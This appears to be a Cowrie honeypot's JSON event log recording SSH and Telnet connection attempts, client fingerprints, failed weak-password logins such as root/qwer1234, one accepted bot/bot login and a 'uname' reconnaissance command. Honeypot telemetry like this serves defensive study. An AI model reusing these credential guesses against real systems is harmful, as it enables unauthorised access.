{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.195604Z","src_ip":"152.32.189.59","session":"5e97b888fc04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":60026,"dst_ip":"10.17.0.5","dst_port":22,"session":"9602f2ad5330","protocol":"ssh","message":"New connection: 176.65.132.254:60026 (10.17.0.5:22) [session: 9602f2ad5330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.219703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.228210Z","src_ip":"176.65.132.254","session":"9602f2ad5330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42076,"dst_ip":"10.17.0.5","dst_port":23,"session":"40148423c564","protocol":"telnet","message":"New connection: 62.210.97.77:42076 (10.17.0.5:23) [session: 40148423c564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.231950Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.310337Z","src_ip":"176.65.132.254","session":"9602f2ad5330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.487972Z","src_ip":"152.32.189.59","session":"5e97b888fc04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.563297Z","src_ip":"176.65.132.254","session":"9602f2ad5330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33431,"dst_ip":"10.17.0.5","dst_port":22,"session":"5547a3d4b486","protocol":"ssh","message":"New connection: 190.129.122.12:33431 (10.17.0.5:22) [session: 5547a3d4b486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.789273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.794541Z","src_ip":"190.129.122.12","session":"5547a3d4b486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:31.961853Z","src_ip":"190.129.122.12","session":"5547a3d4b486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webtest","message":"login attempt [root/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:32.347901Z","src_ip":"152.32.189.59","session":"5e97b888fc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:32.654672Z","src_ip":"176.65.132.254","session":"9602f2ad5330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test9999","message":"login attempt [root/test9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:32.665438Z","src_ip":"190.129.122.12","session":"5547a3d4b486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40370,"dst_ip":"10.17.0.5","dst_port":23,"session":"304475af86f9","protocol":"telnet","message":"New connection: 38.54.119.93:40370 (10.17.0.5:23) [session: 304475af86f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:32.918133Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:33.576562Z","src_ip":"152.32.189.59","session":"5e97b888fc04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:33.834767Z","src_ip":"190.129.122.12","session":"5547a3d4b486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c62d34bf3a24","protocol":"telnet","message":"New connection: 62.210.97.77:42090 (10.17.0.5:23) [session: c62d34bf3a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:33.930623Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":41704,"dst_ip":"10.17.0.5","dst_port":23,"session":"595f29f249c7","protocol":"telnet","message":"New connection: 38.54.119.93:41704 (10.17.0.5:23) [session: 595f29f249c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:34.862077Z"}
{"eventid":"cowrie.session.closed","duration":34.77073311805725,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:35.016491Z","src_ip":"62.210.97.77","session":"99e1433bd41b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43722,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cefc5051a91","protocol":"ssh","message":"New connection: 176.65.132.254:43722 (10.17.0.5:22) [session: 9cefc5051a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:35.280635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:35.285390Z","src_ip":"176.65.132.254","session":"9cefc5051a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:35.369024Z","src_ip":"176.65.132.254","session":"9cefc5051a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:35.645437Z","src_ip":"176.65.132.254","session":"9cefc5051a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.34942865371704,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:36.137805Z","src_ip":"62.210.97.77","session":"d962b6cb414c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42530,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a937a490ec4","protocol":"telnet","message":"New connection: 38.54.119.93:42530 (10.17.0.5:23) [session: 7a937a490ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:36.242798Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:36.850312Z","src_ip":"176.65.132.254","session":"9cefc5051a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.14034295082092,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:38.075247Z","src_ip":"62.210.97.77","session":"ca54e608bbc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":49062,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d72730bee9","protocol":"telnet","message":"New connection: 65.60.27.33:49062 (10.17.0.5:23) [session: 66d72730bee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:38.725994Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43726,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bee3b0681a4","protocol":"ssh","message":"New connection: 176.65.132.254:43726 (10.17.0.5:22) [session: 8bee3b0681a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.172544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.245806Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45154,"dst_ip":"10.17.0.5","dst_port":23,"session":"472a7454e13e","protocol":"telnet","message":"New connection: 62.210.97.77:45154 (10.17.0.5:23) [session: 472a7454e13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.293422Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.393661Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.642171Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.856111Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.859583Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.944980Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:39.949786Z","src_ip":"176.65.132.254","session":"8bee3b0681a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.67383122444153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:41.779410Z","src_ip":"62.210.97.77","session":"fd00402a5543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45156,"dst_ip":"10.17.0.5","dst_port":23,"session":"d99381c69d91","protocol":"telnet","message":"New connection: 62.210.97.77:45156 (10.17.0.5:23) [session: d99381c69d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:42.104552Z"}
{"eventid":"cowrie.session.closed","duration":45.263914346694946,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:42.215698Z","src_ip":"38.54.119.93","session":"1eb7e099539d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45164,"dst_ip":"10.17.0.5","dst_port":23,"session":"b028105ab3b8","protocol":"telnet","message":"New connection: 62.210.97.77:45164 (10.17.0.5:23) [session: b028105ab3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:42.461323Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":50676,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc13773d2bff","protocol":"ssh","message":"New connection: 176.65.132.254:50676 (10.17.0.5:22) [session: fc13773d2bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:43.299259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:43.304867Z","src_ip":"176.65.132.254","session":"fc13773d2bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:43.390912Z","src_ip":"176.65.132.254","session":"fc13773d2bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:43.639426Z","src_ip":"176.65.132.254","session":"fc13773d2bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.00260019302368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:44.267665Z","src_ip":"62.210.97.77","session":"72097e9aa82b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55252,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec734ee45015","protocol":"telnet","message":"New connection: 65.60.27.33:55252 (10.17.0.5:23) [session: ec734ee45015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:44.716010Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:44.736803Z","src_ip":"176.65.132.254","session":"fc13773d2bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241255760193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:44.832073Z","src_ip":"134.209.8.29","session":"61fd364ff10c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45178,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf06aa1bcec","protocol":"telnet","message":"New connection: 62.210.97.77:45178 (10.17.0.5:23) [session: 7cf06aa1bcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:44.961545Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45188,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c0e216aaa7","protocol":"telnet","message":"New connection: 62.210.97.77:45188 (10.17.0.5:23) [session: 01c0e216aaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:45.130034Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45204,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f6fb1cf49dd","protocol":"telnet","message":"New connection: 62.210.97.77:45204 (10.17.0.5:23) [session: 4f6fb1cf49dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:06:46.651377Z"}
